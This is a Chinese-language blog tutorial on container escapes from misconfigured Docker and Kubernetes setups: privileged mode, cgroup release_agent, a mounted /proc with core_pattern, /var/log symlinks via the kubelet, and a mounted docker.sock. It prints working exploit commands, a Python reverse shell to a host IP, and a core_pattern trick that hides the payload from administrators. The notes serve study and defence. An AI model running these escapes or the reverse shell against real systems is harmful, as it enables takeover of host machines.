前言
代码安全搞不动了,这几天又开始摸鱼k8s,记录下一些由于配置不当导致的容器逃逸,以及一些利用方式和原理。
privileged特权模式
privileged简介
docker中提供了一个--privileged
参数,这个参数本身最初的目的是为了提供在docker中运行docker的能力
https://www.docker.com/blog/docker-can-now-run-within-docker/
docker文档中对这个参数的解释如下
https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities
当操作员执行时docker run –privileged,Docker将启用对主机上所有设备的访问,并在AppArmor或SELinux中进行一些配置,以允许容器对主机的访问几乎与在主机上容器外部运行的进程相同。
如何启动一个特权模式容器
在docker命令行中可以通过如下命令启动一个特权容器1
docker run -it --privileged nginx /bin/bash
k8s中,在pod的yaml配置中添加如下配置时,也会以特权模式启动容器1
2securityContext:
privileged: true
如何检测当前环境是否是以特权模式启动
在容器中时可以通过如下参数检测当前容器是否是以特权模式启动1
cat /proc/self/status | grep CapEff
如果是以特权模式启动的话,CapEff
对应的掩码值应该为0000003fffffffff
这里可以稍微延申一下linux的Capabilities机制
https://man7.org/linux/man-pages/man7/capabilities.7.html
它对用户的权限进行了更细致的分类,可以对单个线程进行更精度的权限控制。避免粗暴的root特权用户和常规用户的简单区分。当一个进程要进行某个特权操作时,操作系统会检查cap_effective的对应位是否有效,而不再是检查进程的有效UID是否为0。
一个线程拥有五个Capabilities集合Permitted
、Inheritable
、Effective
、Bounding
和Ambient
分别对应了/proc/self/status
中的CapPrm
、CapInh
、CapEff
、CapBnd
和CapAmb
Effective
集合就是主要的当前线程特权操作权限(Capabilities)的集合。
例如通过sudo -s
切换成root用户之后就可以看到Capabilities权限的变化
通过capsh
命令可以解码出具体的Capabilitie
简而言之,如果当前容器中的CapEff
为0000003fffffffff
时则有了宿主机root用户的特权模式
挂载宿主机目录
在特权模式下,可以直接挂载宿主机的磁盘,chroot之后就可以像访问本地文件一样,读取宿主机上的文件1
2
3mkdir /abc
mount /dev/sda1 /abc
chroot /abc/
或者其实这里写下crontab应该也可getshell
执行宿主机系统命令
如下文章中给出了这样一个思路,通过notify_on_release
实现容器逃逸
https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
先给出poc,在宿舍机上执行了ps aux
,并将结果写入/ouput
文件1
2
3
4
5
6
7
8
9# In the container
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
可以看到创建了一个cgroup,并且通过notify_on_release
机制执行容器中的可执行文件。
https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt
并且其中通过sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
获取当前容器文件路径在宿主机上的绝对路径也算一个小trick。
这样就可以在宿主机上执行容器中的文件,并将结果写入容器中的文件。
并且这个利用方式的要求比完全特权模式要更宽松一些,只需要满足以下条件即可
- 以root用户身份在容器内运行
- 使用SYS_ADMINLinux功能运行
- 缺少AppArmor配置文件,否则将允许mountsyscall
- cgroup v1虚拟文件系统必须以读写方式安装在容器内
1 | docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash |
挂载/proc
linux中的/proc
目录是一个伪文件系统,其中动态反应着系统内进程以及其他组件的状态。
当docker启动时将/proc
目录挂载到容器内部时可以实现逃逸。
通过文档可知,/proc/sys/kernel/core_pattern
文件是负责进程奔溃时内存数据转储的,当第一个字符是|
管道符时,后面的的部分会以命令行的方式进行解析并运行。
https://man7.org/linux/man-pages/man5/core.5.html
并且由于容器共享主机内核的原因,这个命令是以宿主机的权限运行的。
由于管道符的原因,错误的数据可能会扰乱我们的命令,因此这里用python接受并且忽略错误数据。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18#!/usr/bin/python3
import os
import pty
import socket
lhost = "172.17.0.1"
lport = 10000
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
并且创建一个会抛出段错误的程序1
2
3
4
5
6
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
然后在core_pattern
文件中写入运行反弹shell的命令(这里需要注意由于是以宿主机上的权限运行的,因此python的路径则也是docker目录的路径)1
2host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo -e "|$host_path/tmp/.x.py \rcore " > /host-proc/sys/kernel/core_pattern
\r
之后的内容主要是为了为了管理员通过cat
命令查看内容时隐蔽我们写入恶意命令。
这样当我们运行c文件之后,就会抛出段错误,然后执行core_pattern
中的命令(运行成功core_pattern
时会有core dumped
的输出)
此时就能监听到返回的shell
挂载/var/log
https://github.com/danielsagi/kube-pod-escape
这里用单纯的挂载/var/log
来形容这个逃逸的触发条件其实不太严谨,需要满足如下条件。
- 挂载了
/var/log
- 容器是在一个k8s的环境中
- 当前pod的serviceaccount拥有get|list|watch log的权限
个人感觉这个条件其实还是蛮合理的,并不牵强,类似于赋予了当前pod一个读取日志的能力。
当满足以上条件时,可以与node节点的10250端口进行通信,并通过软链接的方式读取node上的文件。
通过github中给出的yaml文件可以快速启动这样一个场景。可以来分析以下这个yaml配置到底做了些什么操作。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45apiVersion: v1
kind: ServiceAccount
metadata:
name: logger
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: user-log-reader
rules:
- apiGroups: [""]
resources:
- nodes/log
verbs: ["get", "list", "watch"]
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: user-log-reader
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: user-log-reader
subjects:
- kind: ServiceAccount
name: logger
namespace: default
apiVersion: v1
kind: Pod
metadata:
name: escaper
spec:
serviceAccountName: logger
containers:
- name: escaper
image: danielsagi/kube-pod-escape
volumeMounts:
- name: logs
mountPath: /var/log/host
volumes:
- name: logs
hostPath:
path: /var/log/
type: Directory
可以看到前三个配置主要是设置了一个nodes/log
的get|list|watch
权限,并且将这个权限赋予给logger对象。再以logger对象启动了一个pod。
这时候在pod中通过serviceaccount的token就可以访问node上10250端口并获取log1
2token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k https://172.17.0.1:10250/logs/ -H "Authorization: Bearer $token"
当然,访问一些/pods
之类的目录时由于没有权限,访问会被禁止
继续回到logs,这个目录其实就是当前容器上被挂载的/var/log/host
目录
同时也是node节点上的/var/log/
这样当我们通过软链接的方式在当前log目录下创建一个指向根目录的链接时1
ln -s / ./root_link
在容器和node中这个root_link
文件指向的都是自己本机的根目录
因此通过node的10250访问logs/root_link
时,访问到的是node节点上的根目录,从而就可以读取到node机子上的文件
github中的脚本则通过这种方式遍历了node节点上的敏感文件,并下载到本地
https://github.com/danielsagi/kube-pod-escape/blob/master/find_sensitive_files.py
挂载docker.sock
docker cli默认通过unix套接字与容器进行通信以及下发指令,当挂载了/var/run/docker.sock
文件时,就可以对这个unix套接字文件下发docker指令,就像在node机器上操纵docker一样。
这里通过如下命令挂载/var/run
目录1
sudo docker run --rm -it -v /var/run/:/host-var-run/ centos /bin/bash
为了方便这里我们将自己机子上的docker cli cp进容器。(尝试过在容器中直接yum但是下载下来的cli似乎不能用,建议实战中直接传一个cli)
然后通过-H
命令指定unix套接字文件的地址即可1
./docker -H unix:///host-var-run/docker.sock ps
这样能操纵宿主机上的docker
这样容器逃逸也就变得简单了,直接新起一个docker,将宿主机的根目录挂载进去,并且以特权模式启动。
之后的过程就很简单了,这里就不赘述了。
References
https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&mid=2247487393&idx=1&sn=6cec3da009d25cb1c766bb9dae809a86&chksm=e84fa97edf382068250b4811419aa17811c7f244ab87dcbcbe63be328f98ecaf0ab9feeedf8c&scene=21#wechat_redirect
https://mp.weixin.qq.com/s?subscene=19&__biz=MzIyODYzNTU2OA==&mid=2247487590&idx=1&sn=060a8bdf2ddfaff6ceae5cb931cb27ab&chksm=e84fb6b9df383faf1723040a0d6f0300c9517db902ef0010e230d8e802b1dfe9d8b95e6aabbd
https://xz.aliyun.com/t/7881
https://xz.aliyun.com/t/8558
https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities
https://www.docker.com/blog/docker-can-now-run-within-docker/
https://man7.org/linux/man-pages/man7/capabilities.7.html
https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt
https://man7.org/linux/man-pages/man5/core.5.html
https://github.com/danielsagi/kube-pod-escape